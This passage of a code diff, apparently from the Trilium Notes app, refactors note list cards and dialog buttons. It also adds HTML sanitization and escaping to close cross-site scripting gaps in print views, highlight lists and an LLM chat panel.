||||
}
|
||||
|
||||
&.type-text {
|
||||
padding: 8px 24px;
|
||||
|
||||
.ck-content > *:last-child {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
}
|
||||
|
||||
&.type-protectedSession {
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
&.type-image {
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
&.type-pdf {
|
||||
iframe {
|
||||
height: 50vh;
|
||||
}
|
||||
|
||||
.file-footer {
|
||||
padding: 8px;
|
||||
}
|
||||
}
|
||||
|
||||
&.type-webView {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
min-height: 50vh;
|
||||
}
|
||||
|
||||
.ck-find-result {
|
||||
outline: 2px solid var(--note-list-view-content-search-result-highlight-background);
|
||||
border-radius: 4px;
|
||||
background: var(--note-list-view-content-search-result-highlight-background);
|
||||
color: var(--note-list-view-content-search-result-highlight-color);
|
||||
}
|
||||
}
|
||||
|
||||
.note-content-preview:has(.note-book-content:empty) {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* #endregion */
|
||||
|
||||
/* #region Grid view */
|
||||
.note-list.grid-view .note-list-container {
|
||||
display: flex;
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import "./ListOrGridView.css";
|
||||
import { Card, CardSection } from "../../react/Card";
|
||||
|
||||
import { useEffect, useRef, useState } from "preact/hooks";
|
||||
|
||||
@@ -14,6 +15,11 @@ import NoteLink from "../../react/NoteLink";
|
||||
import { ViewModeProps } from "../interface";
|
||||
import { Pager, usePagination } from "../Pagination";
|
||||
import { filterChildNotes, useFilteredNoteIds } from "./utils";
|
||||
import { JSX } from "preact/jsx-runtime";
|
||||
import { clsx } from "clsx";
|
||||
import ActionButton from "../../react/ActionButton";
|
||||
import linkContextMenuService from "../../../menus/link_context_menu";
|
||||
import { TargetedMouseEvent } from "preact";
|
||||
|
||||
export function ListView({ note, noteIds: unfilteredNoteIds, highlightedTokens }: ViewModeProps<{}>) {
|
||||
const expandDepth = useExpansionDepth(note);
|
||||
@@ -33,7 +39,7 @@ export function ListView({ note, noteIds: unfilteredNoteIds, highlightedTokens }
|
||||
{ noteIds.length > 0 && <div class="note-list-wrapper">
|
||||
{!hasCollectionProperties && <Pager {...pagination} />}
|
||||
|
||||
<div class="note-list-container use-tn-links">
|
||||
<Card className={clsx("nested-note-list", {"search-results": (noteType === "search")})}>
|
||||
{pageNotes?.map(childNote => (
|
||||
<ListNoteCard
|
||||
key={childNote.noteId}
|
||||
@@ -41,7 +47,7 @@ export function ListView({ note, noteIds: unfilteredNoteIds, highlightedTokens }
|
||||
expandDepth={expandDepth} highlightedTokens={highlightedTokens}
|
||||
currentLevel={1} includeArchived={includeArchived} />
|
||||
))}
|
||||
</div>
|
||||
</Card>
|
||||
|
||||
<Pager {...pagination} />
|
||||
</div>}
|
||||
@@ -93,27 +99,52 @@ function ListNoteCard({ note, parentNote, highlightedTokens, currentLevel, expan
|
||||
// Reset expand state if switching to another note, or if user manually toggled expansion state.
|
||||
useEffect(() => setExpanded(currentLevel <= expandDepth), [ note, currentLevel, expandDepth ]);
|
||||
|
||||
let subSections: JSX.Element | undefined = undefined;
|
||||
if (isExpanded) {
|
||||
subSections = <>
|
||||
<CardSection className="note-content-preview">
|
||||
<NoteContent note={note}
|
||||
highlightedTokens={highlightedTokens}
|
||||
noChildrenList
|
||||
includeArchivedNotes={includeArchived} />
|
||||
</CardSection>
|
||||
|
||||
<NoteChildren note={note}
|
||||
parentNote={parentNote}
|
||||
highlightedTokens={highlightedTokens}
|
||||
currentLevel={currentLevel}
|
||||
expandDepth={expandDepth}
|
||||
includeArchived={includeArchived} />
|
||||
</>
|
||||
}
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`note-book-card no-tooltip-preview ${isExpanded ? "expanded" : ""} ${note.isArchived ? "archived" : ""}`}
|
||||
<CardSection
|
||||
className={clsx("nested-note-list-item", "no-tooltip-preview", note.getColorClass(), {
|
||||
"expanded": isExpanded,
|
||||
"archived": note.isArchived
|
||||
})}
|
||||
subSections={subSections}
|
||||
subSectionsVisible={isExpanded}
|
||||
highlightOnHover
|
||||
data-note-id={note.noteId}
|
||||
>
|
||||
<h5 className="note-book-header">
|
||||
<span
|
||||
className={`note-expander ${isExpanded ? "bx bx-chevron-down" : "bx bx-chevron-right"}`}
|
||||
onClick={() => setExpanded(!isExpanded)}
|
||||
/>
|
||||
|
||||
<h5>
|
||||
<span className={`note-expander ${isExpanded ? "bx bx-chevron-down" : "bx bx-chevron-right"}`}
|
||||
onClick={() => setExpanded(!isExpanded)}/>
|
||||
<Icon className="note-icon" icon={note.getIcon()} />
|
||||
<NoteLink className="note-book-title" notePath={notePath} noPreview showNotePath={parentNote.type === "search"} highlightedTokens={highlightedTokens} />
|
||||
<NoteLink className="note-book-title"
|
||||
notePath={notePath}
|
||||
noPreview
|
||||
showNotePath={parentNote.type === "search"}
|
||||
highlightedTokens={highlightedTokens} />
|
||||
<NoteAttributes note={note} />
|
||||
<ActionButton className="nested-note-list-item-menu"
|
||||
icon="bx bx-dots-vertical-rounded" text=""
|
||||
onClick={(e) => openNoteMenu(notePath, e)}
|
||||
/>
|
||||
</h5>
|
||||
|
||||
{isExpanded && <>
|
||||
<NoteContent note={note} highlightedTokens={highlightedTokens} noChildrenList includeArchivedNotes={includeArchived} />
|
||||
<NoteChildren note={note} parentNote={parentNote} highlightedTokens={highlightedTokens} currentLevel={currentLevel} expandDepth={expandDepth} includeArchived={includeArchived} />
|
||||
</>}
|
||||
</div>
|
||||
</CardSection>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -165,6 +196,9 @@ export function NoteContent({ note, trim, noChildrenList, highlightedTokens, inc
|
||||
const contentRef = useRef<HTMLDivElement>(null);
|
||||
const highlightSearch = useImperativeSearchHighlighlighting(highlightedTokens);
|
||||
|
||||
const [ready, setReady] = useState(false);
|
||||
const [noteType, setNoteType] = useState<string>("none");
|
||||
|
||||
useEffect(() => {
|
||||
content_renderer.getRenderedContent(note, {
|
||||
trim,
|
||||
@@ -179,17 +213,19 @@ export function NoteContent({ note, trim, noChildrenList, highlightedTokens, inc
|
||||
} else {
|
||||
contentRef.current.replaceChildren();
|
||||
}
|
||||
contentRef.current.classList.add(`type-${type}`);
|
||||
highlightSearch(contentRef.current);
|
||||
setNoteType(type);
|
||||
setReady(true);
|
||||
})
|
||||
.catch(e => {
|
||||
console.warn(`Caught error while rendering note '${note.noteId}' of type '${note.type}'`);
|
||||
console.error(e);
|
||||
contentRef.current?.replaceChildren(t("collections.rendering_error"));
|
||||
setReady(true);
|
||||
});
|
||||
}, [ note, highlightedTokens ]);
|
||||
|
||||
return <div ref={contentRef} className="note-book-content" />;
|
||||
return <div ref={contentRef} className={clsx("note-book-content", `type-${noteType}`, {"note-book-content-ready": ready})} />;
|
||||
}
|
||||
|
||||
function NoteChildren({ note, parentNote, highlightedTokens, currentLevel, expandDepth, includeArchived }: {
|
||||
@@ -238,3 +274,8 @@ function useExpansionDepth(note: FNote) {
|
||||
return parseInt(expandDepth, 10);
|
||||
|
||||
}
|
||||
|
||||
function openNoteMenu(notePath, e: TargetedMouseEvent<HTMLElement>) {
|
||||
linkContextMenuService.openContextMenu(notePath, e);
|
||||
e.stopPropagation()
|
||||
}
|
||||
|
||||
@@ -4,6 +4,7 @@ import type FNote from "../../../entities/fnote";
|
||||
import type { PrintReport } from "../../../print";
|
||||
import content_renderer from "../../../services/content_renderer";
|
||||
import froca from "../../../services/froca";
|
||||
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
|
||||
import type { ViewModeProps } from "../interface";
|
||||
import { filterChildNotes, useFilteredNoteIds } from "./utils";
|
||||
|
||||
@@ -87,7 +88,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
|
||||
<h1>{note.title}</h1>
|
||||
|
||||
{state.notesWithContent?.map(({ note: childNote, contentEl }) => (
|
||||
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
|
||||
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { NoteType } from "@triliumnext/commons";
|
||||
import FNote from "../../../entities/fnote";
|
||||
import contentRenderer from "../../../services/content_renderer";
|
||||
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
|
||||
import { ProgressChangedFn } from "../interface";
|
||||
|
||||
type DangerouslySetInnerHTML = { __html: string; };
|
||||
@@ -72,7 +73,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
|
||||
const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
|
||||
noChildrenList: true
|
||||
});
|
||||
return { __html: $renderedContent.html() };
|
||||
return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
|
||||
}
|
||||
|
||||
async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {
|
||||
|
||||
@@ -57,7 +57,7 @@ export default function BulkActionsDialog() {
|
||||
className="bulk-actions-dialog"
|
||||
size="xl"
|
||||
title={t("bulk_actions.bulk_actions")}
|
||||
footer={<Button text={t("bulk_actions.execute_bulk_actions")} primary />}
|
||||
footer={<Button text={t("bulk_actions.execute_bulk_actions")} kind="primary" />}
|
||||
show={shown}
|
||||
onSubmit={async () => {
|
||||
await server.post("bulk-action/execute", {
|
||||
|
||||
@@ -72,7 +72,7 @@ export default function DeleteNotesDialog() {
|
||||
footer={<>
|
||||
<Button text={t("delete_notes.cancel")}
|
||||
onClick={() => setShown(false)} />
|
||||
<Button text={t("delete_notes.ok")} primary
|
||||
<Button text={t("delete_notes.ok")} kind="primary"
|
||||
buttonRef={okButtonRef}
|
||||
onClick={() => {
|
||||
opts.callback?.({ proceed: true, deleteAllClones, eraseNotes });
|
||||
|
||||
@@ -58,7 +58,7 @@ export default function ExportDialog() {
|
||||
setShown(false);
|
||||
}}
|
||||
onHidden={() => setShown(false)}
|
||||
footer={<Button className="export-button" text={t("export.export")} primary />}
|
||||
footer={<Button className="export-button" text={t("export.export")} kind="primary" />}
|
||||
show={shown}
|
||||
>
|
||||
|
||||
|
||||
@@ -55,7 +55,7 @@ export default function ImportDialog() {
|
||||
setShown(false);
|
||||
setFiles(null);
|
||||
}}
|
||||
footer={<Button text={t("import.import")} primary disabled={!files} />}
|
||||
footer={<Button text={t("import.import")} kind="primary" disabled={!files} />}
|
||||
show={shown}
|
||||
>
|
||||
<FormGroup name="files" label={t("import.chooseImportFile")} description={
|
||||
|
||||
@@ -69,7 +69,7 @@ export default function PromptDialog() {
|
||||
submitValue.current = null;
|
||||
opts.current = undefined;
|
||||
}}
|
||||
footer={<Button text={t("prompt.ok")} keyboardShortcut="Enter" primary />}
|
||||
footer={<Button text={t("prompt.ok")} keyboardShortcut="Enter" kind="primary" />}
|
||||
show={shown}
|
||||
stackable
|
||||
>
|
||||
|
||||
@@ -203,7 +203,7 @@ function RevisionPreview({noteContent, revisionItem, showDiff, setShown, onRevis
|
||||
}} />
|
||||
|
||||
<Button
|
||||
primary
|
||||
kind="primary"
|
||||
icon="bx bx-download"
|
||||
text={t("revisions.download_button")}
|
||||
onClick={() => {
|
||||
|
||||
@@ -35,7 +35,7 @@ export default function UploadAttachmentsDialog() {
|
||||
className="upload-attachments-dialog"
|
||||
size="lg"
|
||||
title={t("upload_attachments.upload_attachments_to_note")}
|
||||
footer={<Button text={t("upload_attachments.upload")} primary disabled={!files || isUploading} />}
|
||||
footer={<Button text={t("upload_attachments.upload")} kind="primary" disabled={!files || isUploading} />}
|
||||
onSubmit={async () => {
|
||||
if (!files || !parentNoteId) {
|
||||
return;
|
||||
|
||||
@@ -13,6 +13,27 @@ import katex from "../services/math.js";
|
||||
import options from "../services/options.js";
|
||||
import OnClickButtonWidget from "./buttons/onclick_button.js";
|
||||
import RightPanelWidget from "./right_panel_widget.js";
|
||||
import DOMPurify from "dompurify";
|
||||
|
||||
/**
|
||||
* DOMPurify configuration for highlight list items. Only allows inline
|
||||
* formatting tags that appear in highlighted text (bold, italic, underline,
|
||||
* colored/background-colored spans, KaTeX math output).
|
||||
*/
|
||||
const HIGHLIGHT_PURIFY_CONFIG: DOMPurify.Config = {
|
||||
ALLOWED_TAGS: [
|
||||
"b", "i", "em", "strong", "u", "s", "del", "sub", "sup",
|
||||
"code", "mark", "span", "abbr", "small", "a",
|
||||
// KaTeX rendering output elements
|
||||
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
|
||||
"msub", "mfrac", "mover", "munder", "munderover",
|
||||
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
|
||||
"mspace", "annotation"
|
||||
],
|
||||
ALLOWED_ATTR: ["class", "style", "href", "aria-hidden", "encoding", "xmlns"],
|
||||
RETURN_DOM: false,
|
||||
RETURN_DOM_FRAGMENT: false
|
||||
};
|
||||
|
||||
const TPL = /*html*/`<div class="highlights-list-widget">
|
||||
<style>
|
||||
@@ -255,7 +276,7 @@ export default class HighlightsListWidget extends RightPanelWidget {
|
||||
|
||||
if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
|
||||
// If the previous element is connected to this element in HTML, then concatenate them into one.
|
||||
$highlightsList.children().last().append(subHtml);
|
||||
$highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
|
||||
} else {
|
||||
// TODO: can't be done with $(subHtml).text()?
|
||||
//Can’t remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
|
||||
@@ -267,12 +288,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
|
||||
//If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
|
||||
if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
|
||||
const $lastLi = $highlightsList.children("li").last();
|
||||
$lastLi.append(await this.replaceMathTextWithKatax(substring));
|
||||
$lastLi.append(subHtml);
|
||||
$lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG));
|
||||
$lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
|
||||
} else {
|
||||
$highlightsList.append(
|
||||
$("<li>")
|
||||
.html(subHtml)
|
||||
.html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG))
|
||||
.on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
import { useEffect, useRef, useState } from "preact/hooks";
|
||||
import "./SyncStatus.css";
|
||||
import { t } from "../../services/i18n";
|
||||
import clsx from "clsx";
|
||||
import { escapeQuotes } from "../../services/utils";
|
||||
import { useStaticTooltip, useTriliumOption } from "../react/hooks";
|
||||
import sync from "../../services/sync";
|
||||
import ws, { subscribeToMessages, unsubscribeToMessage } from "../../services/ws";
|
||||
|
||||
import { WebSocketMessage } from "@triliumnext/commons";
|
||||
import clsx from "clsx";
|
||||
import { useEffect, useRef, useState } from "preact/hooks";
|
||||
|
||||
import { t } from "../../services/i18n";
|
||||
import sync from "../../services/sync";
|
||||
import { escapeQuotes } from "../../services/utils";
|
||||
import ws, { subscribeToMessages, unsubscribeToMessage } from "../../services/ws";
|
||||
import { useStaticTooltip, useTriliumOption } from "../react/hooks";
|
||||
|
||||
type SyncState = "unknown" | "in-progress"
|
||||
| "connected-with-changes" | "connected-no-changes"
|
||||
@@ -53,29 +55,29 @@ export default function SyncStatus() {
|
||||
const spanRef = useRef<HTMLSpanElement>(null);
|
||||
const [ syncServerHost ] = useTriliumOption("syncServerHost");
|
||||
useStaticTooltip(spanRef, {
|
||||
html: true
|
||||
// TODO: Placement
|
||||
html: true,
|
||||
title: escapeQuotes(title)
|
||||
});
|
||||
|
||||
return (syncServerHost &&
|
||||
<div class="sync-status-widget launcher-button">
|
||||
<div class="sync-status">
|
||||
<span
|
||||
key={syncState} // Force re-render when state changes to update tooltip content.
|
||||
ref={spanRef}
|
||||
className={clsx("sync-status-icon", `sync-status-${syncState}`, icon)}
|
||||
title={escapeQuotes(title)}
|
||||
onClick={() => {
|
||||
if (syncState === "in-progress") return;
|
||||
sync.syncNow();
|
||||
}}
|
||||
>
|
||||
{hasChanges && (
|
||||
<span class="bx bxs-star sync-status-sub-icon"></span>
|
||||
<span class="bx bxs-star sync-status-sub-icon" />
|
||||
)}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
function useSyncStatus() {
|
||||
|
||||
@@ -3,11 +3,14 @@ import { createContext } from "preact";
|
||||
import { useContext } from "preact/hooks";
|
||||
|
||||
import FNote from "../../entities/fnote";
|
||||
import utils from "../../services/utils";
|
||||
import ActionButton, { ActionButtonProps } from "../react/ActionButton";
|
||||
import Dropdown, { DropdownProps } from "../react/Dropdown";
|
||||
import { useNoteLabel, useNoteProperty } from "../react/hooks";
|
||||
import Icon from "../react/Icon";
|
||||
|
||||
const cachedIsMobile = utils.isMobile();
|
||||
|
||||
export const LaunchBarContext = createContext<{
|
||||
isHorizontalLayout: boolean;
|
||||
}>({
|
||||
@@ -26,7 +29,7 @@ export function LaunchBarActionButton({ className, ...props }: Omit<ActionButton
|
||||
<ActionButton
|
||||
className={clsx("button-widget launcher-button", className)}
|
||||
noIconActionClass
|
||||
titlePosition={isHorizontalLayout ? "bottom" : "right"}
|
||||
titlePosition={getTitlePosition(isHorizontalLayout)}
|
||||
{...props}
|
||||
/>
|
||||
);
|
||||
@@ -34,6 +37,7 @@ export function LaunchBarActionButton({ className, ...props }: Omit<ActionButton
|
||||
|
||||
export function LaunchBarDropdownButton({ children, icon, dropdownOptions, ...props }: Pick<DropdownProps, "title" | "children" | "onShown" | "dropdownOptions" | "dropdownRef"> & { icon: string }) {
|
||||
const { isHorizontalLayout } = useContext(LaunchBarContext);
|
||||
const titlePosition = getTitlePosition(isHorizontalLayout);
|
||||
|
||||
return (
|
||||
<Dropdown
|
||||
@@ -41,12 +45,12 @@ export function LaunchBarDropdownButton({ children, icon, dropdownOptions, ...pr
|
||||
buttonClassName="right-dropdown-button launcher-button"
|
||||
hideToggleArrow
|
||||
text={<Icon icon={icon} />}
|
||||
titlePosition={isHorizontalLayout ? "bottom" : "right"}
|
||||
titlePosition={titlePosition}
|
||||
titleOptions={{ animation: false }}
|
||||
dropdownOptions={{
|
||||
...dropdownOptions,
|
||||
popperConfig: {
|
||||
placement: isHorizontalLayout ? "bottom" : "right"
|
||||
placement: titlePosition
|
||||
}
|
||||
}}
|
||||
mobileBackdrop
|
||||
@@ -67,3 +71,10 @@ export function useLauncherIconAndTitle(note: FNote) {
|
||||
title: title ?? ""
|
||||
};
|
||||
}
|
||||
|
||||
function getTitlePosition(isHorizontalLayout: boolean) {
|
||||
if (cachedIsMobile) {
|
||||
return "top";
|
||||
}
|
||||
return isHorizontalLayout ? "bottom" : "right";
|
||||
}
|
||||
|
||||
@@ -9,7 +9,7 @@ import { openInAppHelpFromUrl } from "../../services/utils";
|
||||
import { BadgeWithDropdown } from "../react/Badge";
|
||||
import { FormDropdownDivider, FormListItem } from "../react/FormList";
|
||||
import FormToggle from "../react/FormToggle";
|
||||
import { useNoteContext, useTriliumEvent } from "../react/hooks";
|
||||
import { useNoteContext, useNoteProperty, useTriliumEvent } from "../react/hooks";
|
||||
import { BookProperty, ViewProperty } from "../react/NotePropertyMenu";
|
||||
|
||||
const NON_DANGEROUS_ACTIVE_CONTENT = [ "appCss", "appTheme" ];
|
||||
@@ -213,6 +213,8 @@ function ActiveContentToggle({ note, info }: { note: FNote, info: ActiveContentI
|
||||
|
||||
function useActiveContentInfo(note: FNote | null | undefined) {
|
||||
const [ info, setInfo ] = useState<ActiveContentInfo | null>(null);
|
||||
const noteType = useNoteProperty(note, "type");
|
||||
const noteMime = useNoteProperty(note, "mime");
|
||||
|
||||
function refresh() {
|
||||
let type: ActiveContentInfo["type"] | null = null;
|
||||
@@ -224,13 +226,13 @@ function useActiveContentInfo(note: FNote | null | undefined) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (note.type === "render") {
|
||||
if (noteType === "render") {
|
||||
type = "renderNote";
|
||||
isEnabled = note.hasRelation("renderNote");
|
||||
} else if (note.type === "webView") {
|
||||
} else if (noteType === "webView") {
|
||||
type = "webView";
|
||||
isEnabled = note.hasLabel("webViewSrc");
|
||||
} else if (note.type === "code" && note.mime === "application/javascript;env=backend") {
|
||||
} else if (noteType === "code" && noteMime === "application/javascript;env=backend") {
|
||||
type = "backendScript";
|
||||
for (const backendLabel of [ "run", "customRequestHandler", "customResourceProvider" ]) {
|
||||
isEnabled ||= note.hasLabel(backendLabel);
|
||||
@@ -239,11 +241,11 @@ function useActiveContentInfo(note: FNote | null | undefined) {
|
||||
canToggleEnabled = true;
|
||||
}
|
||||
}
|
||||
} else if (note.type === "code" && note.mime === "application/javascript;env=frontend") {
|
||||
} else if (noteType === "code" && noteMime === "application/javascript;env=frontend") {
|
||||
type = "frontendScript";
|
||||
isEnabled = note.hasLabel("widget") || note.hasLabel("run");
|
||||
canToggleEnabled = note.hasLabelOrDisabled("widget") || note.hasLabelOrDisabled("run");
|
||||
} else if (note.type === "code" && note.hasLabelOrDisabled("appTheme")) {
|
||||
} else if (noteType === "code" && note.hasLabelOrDisabled("appTheme")) {
|
||||
isEnabled = note.hasLabel("appTheme");
|
||||
canToggleEnabled = true;
|
||||
}
|
||||
@@ -270,7 +272,7 @@ function useActiveContentInfo(note: FNote | null | undefined) {
|
||||
}
|
||||
|
||||
// Refresh on note change.
|
||||
useEffect(refresh, [ note ]);
|
||||
useEffect(refresh, [ note, noteType, noteMime ]);
|
||||
|
||||
useTriliumEvent("entitiesReloaded", ({ loadResults }) => {
|
||||
if (loadResults.getAttributeRows().some(attr => attributes.isAffecting(attr, note))) {
|
||||
|
||||
@@ -19,6 +19,9 @@
|
||||
--link-hover-background: var(--icon-button-hover-background);
|
||||
|
||||
color: var(--custom-color, inherit);
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
|
||||
&:hover {
|
||||
color: var(--custom-color, inherit);
|
||||
|
||||
@@ -414,7 +414,7 @@ function NotePaths({ note, hoistedNoteId, notePath }: StatusBarContext) {
|
||||
const dropdownRef = useRef<BootstrapDropdown>(null);
|
||||
const sortedNotePaths = useSortedNotePaths(note, hoistedNoteId);
|
||||
const count = sortedNotePaths?.length ?? 0;
|
||||
const enabled = count > 1;
|
||||
const enabled = true;
|
||||
|
||||
// Keyboard shortcut.
|
||||
useTriliumEvent("toggleRibbonTabNotePaths", () => enabled && dropdownRef.current?.show());
|
||||
|
||||
@@ -8,7 +8,7 @@ import server from "../../services/server.js";
|
||||
import noteAutocompleteService from "../../services/note_autocomplete.js";
|
||||
|
||||
import { TPL, addMessageToChat, showSources, hideSources, showLoadingIndicator, hideLoadingIndicator } from "./ui.js";
|
||||
import { formatMarkdown } from "./utils.js";
|
||||
import { escapeHtml, formatMarkdown } from "./utils.js";
|
||||
import { createChatSession, checkSessionExists, setupStreamingResponse, getDirectResponse } from "./communication.js";
|
||||
import { extractInChatToolSteps } from "./message_processor.js";
|
||||
import { validateProviders } from "./validation.js";
|
||||
@@ -683,29 +683,31 @@ export default class LlmChatPanel extends BasicWidget {
|
||||
let icon = 'bx-info-circle';
|
||||
let className = 'info';
|
||||
let content = '';
|
||||
const safeContent = escapeHtml(step.content || '');
|
||||
const safeName = escapeHtml(step.name || 'unknown');
|
||||
|
||||
if (step.type === 'executing') {
|
||||
icon = 'bx-code-block';
|
||||
className = 'executing';
|
||||
content = `<div>${step.content || 'Executing tools...'}</div>`;
|
||||
content = `<div>${safeContent || 'Executing tools...'}</div>`;
|
||||
} else if (step.type === 'result') {
|
||||
icon = 'bx-terminal';
|
||||
className = 'result';
|
||||
content = `
|
||||
<div>Tool: <strong>${step.name || 'unknown'}</strong></div>
|
||||
<div class="mt-1 ps-3">${step.content || ''}</div>
|
||||
<div>Tool: <strong>${safeName}</strong></div>
|
||||
<div class="mt-1 ps-3">${safeContent}</div>
|
||||
`;
|
||||
} else if (step.type === 'error') {
|
||||
icon = 'bx-error-circle';
|
||||
className = 'error';
|
||||
content = `
|
||||
<div>Tool: <strong>${step.name || 'unknown'}</strong></div>
|
||||
<div class="mt-1 ps-3 text-danger">${step.content || 'Error occurred'}</div>
|
||||
<div>Tool: <strong>${safeName}</strong></div>
|
||||
<div class="mt-1 ps-3 text-danger">${safeContent || 'Error occurred'}</div>
|
||||
`;
|
||||
} else if (step.type === 'generating') {
|
||||
icon = 'bx-message-dots';
|
||||
className = 'generating';
|
||||
content = `<div>${step.content || 'Generating response...'}</div>`;
|
||||
content = `<div>${safeContent || 'Generating response...'}</div>`;
|
||||
}
|
||||
|
||||
return `
|
||||
@@ -1369,11 +1371,11 @@ export default class LlmChatPanel extends BasicWidget {
|
||||
step.innerHTML = `
|
||||
<div class="d-flex align-items-center">
|
||||
<i class="bx bx-code-block me-2"></i>
|
||||
<span>Executing tool: <strong>${toolExecutionData.tool || 'unknown'}</strong></span>
|
||||
<span>Executing tool: <strong>${escapeHtml(toolExecutionData.tool || 'unknown')}</strong></span>
|
||||
</div>
|
||||
${toolExecutionData.args ? `
|
||||
<div class="tool-args mt-1 ps-3">
|
||||
<code>Args: ${JSON.stringify(toolExecutionData.args || {}, null, 2)}</code>
|
||||
<code>Args: ${escapeHtml(JSON.stringify(toolExecutionData.args || {}, null, 2))}</code>
|
||||
</div>` : ''}
|
||||
`;
|
||||
stepsContainer.appendChild(step);
|
||||
@@ -1401,7 +1403,7 @@ export default class LlmChatPanel extends BasicWidget {
|
||||
<ul class="list-unstyled ps-1">
|
||||
${results.map((note: any) => `
|
||||
<li class="mb-1">
|
||||
<a href="#" class="note-link" data-note-id="${note.noteId}">${note.title}</a>
|
||||
<a href="#" class="note-link" data-note-id="${escapeHtml(note.noteId || '')}">${escapeHtml(note.title || '')}</a>
|
||||
${note.similarity < 1 ? `<span class="text-muted small ms-1">(similarity: ${(note.similarity * 100).toFixed(0)}%)</span>` : ''}
|
||||
</li>
|
||||
`).join('')}
|
||||
@@ -1412,17 +1414,17 @@ export default class LlmChatPanel extends BasicWidget {
|
||||
}
|
||||
// Format the result based on type for other tools
|
||||
else if (typeof toolExecutionData.result === 'object') {
|
||||
// For objects, format as pretty JSON
|
||||
resultDisplay = `<pre class="mb-0"><code>${JSON.stringify(toolExecutionData.result, null, 2)}</code></pre>`;
|
||||
// For objects, format as pretty JSON (escape HTML to prevent injection via JSON values)
|
||||
resultDisplay = `<pre class="mb-0"><code>${escapeHtml(JSON.stringify(toolExecutionData.result, null, 2))}</code></pre>`;
|
||||
} else {
|
||||
// For simple values, display as text
|
||||
resultDisplay = `<div>${String(toolExecutionData.result)}</div>`;
|
||||
// For simple values, display as escaped text
|
||||
resultDisplay = `<div>${escapeHtml(String(toolExecutionData.result))}</div>`;
|
||||
}
|
||||
|
||||
step.innerHTML = `
|
||||
<div class="d-flex align-items-center">
|
||||
<i class="bx bx-terminal me-2"></i>
|
||||
<span>Tool: <strong>${toolExecutionData.tool || 'unknown'}</strong></span>
|
||||
<span>Tool: <strong>${escapeHtml(toolExecutionData.tool || 'unknown')}</strong></span>
|
||||
</div>
|
||||
<div class="tool-result mt-1 ps-3">
|
||||
${resultDisplay}
|
||||
@@ -1452,10 +1454,10 @@ export default class LlmChatPanel extends BasicWidget {
|
||||
step.innerHTML = `
|
||||
<div class="d-flex align-items-center">
|
||||
<i class="bx bx-error-circle me-2"></i>
|
||||
<span>Error in tool: <strong>${toolExecutionData.tool || 'unknown'}</strong></span>
|
||||
<span>Error in tool: <strong>${escapeHtml(toolExecutionData.tool || 'unknown')}</strong></span>
|
||||
</div>
|
||||
<div class="tool-error mt-1 ps-3 text-danger">
|
||||
${toolExecutionData.error || 'Unknown error'}
|
||||
${escapeHtml(toolExecutionData.error || 'Unknown error')}
|
||||
</div>
|
||||
`;
|
||||
stepsContainer.appendChild(step);
|
||||
|
||||
@@ -3,7 +3,8 @@
|
||||
*/
|
||||
import { t } from "../../services/i18n.js";
|
||||
import type { ToolExecutionStep } from "./types.js";
|
||||
import { formatMarkdown, applyHighlighting } from "./utils.js";
|
||||
import { escapeHtml, formatMarkdown, applyHighlighting } from "./utils.js";
|
||||
import DOMPurify from "dompurify";
|
||||
|
||||
// Template for the chat widget
|
||||
export const TPL = `
|
||||
@@ -109,8 +110,8 @@ export function addMessageToChat(messagesContainer: HTMLElement, chatContainer:
|
||||
contentElement.classList.add('assistant-content');
|
||||
}
|
||||
|
||||
// Format the content with markdown
|
||||
contentElement.innerHTML = formatMarkdown(content);
|
||||
// Format the content with markdown and sanitize to prevent XSS
|
||||
contentElement.innerHTML = DOMPurify.sanitize(formatMarkdown(content));
|
||||
|
||||
messageElement.appendChild(avatarElement);
|
||||
messageElement.appendChild(contentElement);
|
||||
@@ -141,20 +142,30 @@ export function showSources(
|
||||
const sourceElement = document.createElement('div');
|
||||
sourceElement.className = 'source-item p-2 mb-1 border rounded d-flex align-items-center';
|
||||
|
||||
// Create the direct link to the note
|
||||
sourceElement.innerHTML = `
|
||||
<div class="d-flex align-items-center w-100">
|
||||
<a href="#root/${source.noteId}"
|
||||
data-note-id="${source.noteId}"
|
||||
class="source-link text-truncate d-flex align-items-center"
|
||||
title="Open note: ${source.title}">
|
||||
<i class="bx bx-file-blank me-1"></i>
|
||||
<span class="source-title">${source.title}</span>
|
||||
</a>
|
||||
</div>`;
|
||||
